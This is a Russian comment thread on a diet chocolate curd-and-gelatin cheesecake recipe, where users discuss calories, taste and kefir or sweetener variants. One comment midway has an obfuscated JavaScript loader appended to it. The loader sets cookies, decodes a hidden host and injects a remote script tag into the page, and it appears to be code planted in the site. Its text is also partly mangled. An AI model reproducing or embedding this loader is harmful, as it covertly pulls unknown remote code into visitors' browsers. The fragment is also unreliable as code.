Шоколадный чизкейк для сладкоежек, сидящих на диете.

интересненько, сколько же в нём ккал., а то как приготовишь и удивишься.

значит в рецепт ещё нужно добавить воду

Выглядит аппетитно. Судя по количеству какао и меда, по вкусу будет как горький шоколад. Ммм-ням-ням, надо попробовать, спасибо.

а на чем шоколадная масса лежит? это бисквит? калории вместе с ним посчитаны? шоколадную массу можно в чашечках заморозить и сверху фруктами украсить - десерт
спасибо за рецепт, забрала себе

Ирина Константинова, лежит на печенье) в рецепте без нее, и добавлять вредил стоит) просто я же писала, сама не делала, а фото нашла только такое) фото просто для наглядности)

Екатерина, спасибо, уже нашла, просто ниже не листала.

как же аппетитно он выглядит!!!

мне фото напомнило, как мы в детстве на тоненький ломтик хлеба намазывали с сестрой толстый-толстый слой шоколадного масла.

спасибо , просто

Екатерина, тогда понятно

Выглядит аппетитно, забираю к себе.

Сегодня же приготовлю)

Вау,вау,вау!!!как вкусно,спасибо за рецепт!!!

Этот рецепт активно гуляет по сети, но надо признать, картинка не соответствует действительности)) На самом деле:
1) не так кофейно-шоколадно))
2) не так сладко (то есть практически не сладко - как-никак всего 1 ложка меда на такой объем);
3) на срезе заметны крупинки творога, равномерно распределенные по зажелатинированной массе ))

Пыталась прикрепить фотку, инет заглючил

Barhatnaya Noch, красавец!)

Таня, развее?? ))) По мне так, не очень вкусно получилось. Обычный зажелатиненый творог, подкрашенный какао) Сейчас вот в сети нашла еще одну разновидность этого чиза: разделить массу на две части, в одну добавить какао, во вторую не добавлять, заливать в фигурную форму поочередно. В итоге  получается "зебра" в разрезе. Ну, и вместо меда предлагают использовать стевию.   Вообще, с желатином масса рецептов, главное, это основа, можно и сметану с ягодами зажелатинить, и тыкву с йогуртом и с лимоном. Что хошь, на любой вкус и цвет))

готовила вчера, вместо молока взяла кефир 1%, а вместо меда подсластитель, взбивала миксером до пены. И пропорции на 200 г 9% творога 300г кефира, очень понравился результат, буду частенько себя баловать

и калорийность вышла 83, Б 9.3 Ж 3,4 У 2,8

Спасибо за рецепт! Обязательно попробую приготовить.

Спасибо, интересный рецепт.

Как аппетитно выглядит. Спасибо за рецепт)

интересный рецепт, спасибо

Круто, нужно попробовать, спс за рецепт, завтра попробую сделать уж очень захотелось..

Спасибо за рецепт! Обязательно попробую.

Выглядит аппетитно. Ням-ням

В закладочки 

Я тоже готовила этот десертик, вкусно, быстро, и мне надолго хватает)

надо будет сделать

попробую, спасибо!

lili4ka85, спасибо за интересную интерпретацию, возьму на заметку)

Загорелась рецептом, а потом еще и комментариев начиталась - буду пробовать!!! Спасибо за идею. 

Забираю в закладки, спасибо за интересный и лёгкий рецептик window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21822",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

юла, у меня калорийность получилась около 80

Barhatnaya Noch, подписываюсь под каждым словом, да и на вид у меня так же получилось. Не очень вкусно вышло, сахара надо добавлять больше, тогда хоть-какая-то сладость будет

lili4ka85, в рецепте написано:
Поставить на медленный огонь, добавить молоко, творог, какао и мед.Я вот не поняла. Желатин поставить на медленный огонь и в ту же ёмкость добавлять ингредиенты? А когда снимать его с огня? Или просто имеется ввиду разогреть желатин, а потом смешать с остальными ингредиентами? А Вы можете свой рецепт (с кефиром) написать пошагово ?

Нина Гвоздева, Замочить желатин в воде в зависимости от количества своих ппродуктов (замачиваю всегда в половине стакана воды, в которую по вкусу добавлен сахарозаменитель). я беру творог 9% или 2%, который не крупинками, вливаю в него кефир, сыплю какао, взбиваю до однородной массы. Набухший желатин растапливаю в микроволновке, вливаю в прямого-творожную массу, опять взбиваю и, разлив по формам ставлю застывать. 

Екатерина,  Спасибо за рецепт!   Надо попробовать, как раз для меня, не сладкий! Взяла себе в избранное.

lili4ka85, за сколько примерно застывает, если по формочкам, а не в одну форму разливать? И в холодильник обязательно ставить?

Нина Гвоздева, да, в холод обязательно. Если дадите желатин  из расчета 10г на 350-400г десерта (учитывая вес воды в которой желатин разбухал), то достаточно быстро застынет, за час-полтора

Нина Гвоздева, в небольших формочках думаю раза в два быстрее застынет